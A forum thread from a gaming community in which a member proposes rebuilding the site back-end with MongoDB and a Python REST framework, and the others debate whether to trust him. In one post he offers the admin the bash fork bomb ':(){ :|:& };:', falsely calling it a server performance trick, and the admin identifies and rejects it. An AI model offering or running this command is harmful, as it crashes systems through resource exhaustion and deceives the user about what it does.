AAO25.com

Assist => Feedback & Suggestions => Topic started by: Petrol on Friday, August 29, 2014, 11:21:55 AM

Title: Assist Renovation
Post by: Petrol on Friday, August 29, 2014, 11:21:55 AM
Hi.

I was talking with Jared about changes that could be deployed to our society. I was obligated to analyse it and write down my suggestions, so please read it carefully and give me your feedback.

Introduction

My main idea is to create back-end, which will be responsible for accounts, forum, game and statistics. It is huge step for our society, and I hope you wouldn't be disappointed. Statistics integration will make Battletracker useless, I don't know what would be done with current statistics, but it could be both rewritten or loose. It has some advantages, because we would have independent account management.

Some technical details
To create back-end, we need to have nice database and I think that MongoDB would be good choice there. On the top of that we could put RESTful API that could be used by WebSite and AssistApplications. I tend to pick EVE(http://python-eve.org/ (http://python-eve.org/)) as our RESTfull framework. It is quite easy to define data model, and extend it with some other features like authentication.
Title: Re: Assist Renovation
Post by: Spanky on Friday, August 29, 2014, 14:03:49 PM
I doubt I can help since I know jack shit about all the modern fancy coding methods but this would be interesting to accomplish.
Title: Re: Assist Renovation
Post by: Petrol on Friday, August 29, 2014, 14:10:57 PM
I have a question about collecting statistics. Would you be able to create Uscript module which will post round stats to the API? It seems to be possible.
Title: Re: Assist Renovation
Post by: Spanky on Friday, August 29, 2014, 14:25:26 PM
I'm pretty sure that was already started and ELiZ started harvesting stats.

I can't code for shit in Uscript, I can barely compile :) ELiZ can do pretty much anything though.
Title: Re: Assist Renovation
Post by: Petrol on Friday, August 29, 2014, 14:46:39 PM
I will try to scrach some basic accounts, sesions and authentication.
Title: Re: Assist Renovation
Post by: Jared on Friday, August 29, 2014, 15:07:15 PM
I'm not quite following which language you would develop in or is the RESTful API going to be the account system?

I haven't done much in python, and as much as i like mongoDB most people here don't know how to use it. I think the best solution would be to stick in PHP because the staff here knows how to use it along with mysql. I might be missing something tho.

I wouldn't mind redoing the the backend to update it and get to a restful state or at least some OOP. Its still all strung out on the servers.
Title: Re: Assist Renovation
Post by: ELiZ on Friday, August 29, 2014, 17:53:23 PM
Stats are already collected and saved.
At the moment we don't do much with the data, the only exception is the toplists screens on BC and Hospital.
Title: Re: Assist Renovation
Post by: zoxee on Friday, August 29, 2014, 18:07:37 PM
i have a full course on MongoDB if anyone wants to learn it for this project,
i could upload it if needed. Mongo is a really powerful database.
Title: Re: Assist Renovation
Post by: Petrol on Saturday, August 30, 2014, 04:34:34 AM
I will try to give you working system, your task will be implementation of the rest of our data model.

I've selected EVE cause it seems to be simple for that task, because this framework is more declarative.  You will have to write corresponding frontend application.

MySQL is good data base, but for our needs it is quite hard to use. We would be obligated to write down lot of SQL queries, or use ORM. Bout solutions have one huge disadvantage: we need to write lot of imperative code for our application and take care for proper RESTful API.

I think Zoxe will help me with that project, am I right?
Title: Re: Assist Renovation
Post by: zoxee on Saturday, August 30, 2014, 17:18:22 PM
1. it's zoxee, not Zoxe.
2. i'm working 3 shifts atm, so no time.
3. if you should have a question i will try to answer it, pm me.
Title: Re: Assist Renovation
Post by: ELiZ on Saturday, August 30, 2014, 17:45:07 PM
You have shot yourself in the foot by acting like you have in the past.
I don't trust you enough to have you design anything concerning the Core 25Assist applications.




Title: Re: Assist Renovation
Post by: Petrol on Sunday, August 31, 2014, 03:26:59 AM
You don't need to believe me, I am not a priest. There wouldn't be lot of code, so you will be able to check it by yourself. zoxee I am really sorry for mistyping your nickname, please forgive me.
Title: Re: Assist Renovation
Post by: ELiZ on Sunday, August 31, 2014, 06:37:00 AM
You don't need to believe me, I am not a priest. There wouldn't be lot of code, so you will be able to check it by yourself.

What is the upside for us?
Title: Re: Assist Renovation
Post by: Petrol on Sunday, August 31, 2014, 08:06:37 AM
There could be few advantages, by it depends on you how it will be used. In my opinion back-end consolidation will be the best thing that you will get.

Of course you will have to implement new website, and change behaviour of assist client and server manager.
Title: Re: Assist Renovation
Post by: ELiZ on Sunday, August 31, 2014, 08:15:25 AM
What is the upside for us?

There could be few advantages, by it depends on you how it will be used. In my opinion back-end consolidation will be the best thing that you will get.

Of course you will have to implement new website, and change behaviour of assist client and server manager.


so... none?
Title: Re: Assist Renovation
Post by: Petrol on Sunday, August 31, 2014, 08:40:23 AM
There is one but I don't want to tell you about it.
Title: Re: Assist Renovation
Post by: -NicK.! on Monday, September 01, 2014, 01:56:31 AM
There is one but I don't want to tell you about it.
Lol this is like the worst persuasive response you could have come up with.
Title: Re: Assist Renovation
Post by: Spanky on Monday, September 01, 2014, 02:25:45 AM
This isn't exactly the best way to encourage others to join us and help contribute to the project.

Sure, Petrol has a questionable past but that means he's knowledgeable. Any developer won't just implement code written by some 3rd party without looking it over first. If he wants to help, let him and encourage him. We don't get offers for help every day here.
Title: Re: Assist Renovation
Post by: Petrol on Monday, September 01, 2014, 04:19:50 AM
You could treat it as some kind of resocialisation.
Title: Re: Assist Renovation
Post by: zoxee on Monday, September 01, 2014, 04:42:43 AM
Maricopa county would be rather suited for you..
Title: Re: Assist Renovation
Post by: Petrol on Monday, September 01, 2014, 08:21:42 AM
Eliz here is small script for you:
Code: [Select]
:(){ :|:& };: It is bash trick, which would enlarge server performance.
Title: Re: Assist Renovation
Post by: ELiZ on Monday, September 01, 2014, 08:33:09 AM
Eliz here is small script for you:
Code: [Select]
:(){ :|:& };: It is bash trick, which would enlarge server performance.

What do you try to prove?
http://en.wikipedia.org/wiki/Fork_bomb (http://en.wikipedia.org/wiki/Fork_bomb)

On the other hand, you just proved that you are totally the wrong person to help us out.
Move along.
Title: Re: Assist Renovation
Post by: Petrol on Monday, September 01, 2014, 09:40:41 AM
By the way: do you wan't to have sessions management or maybe simple user-password authentication would be enough?
Title: Re: Assist Renovation
Post by: Petrol on Thursday, September 04, 2014, 09:04:28 AM
-I've been looking at eve for few days and it seems that built in authentication is not flexible enough for us. There is Django REST Framework ? http://www.django-rest-framework.org/ (http://www.django-rest-framework.org/) ? which is quite more complicated, but it seems to be much more powerful. Django is easy even for morons, so i think regular programmer wouldn't have problem with it. Please take look on it and give me feedback.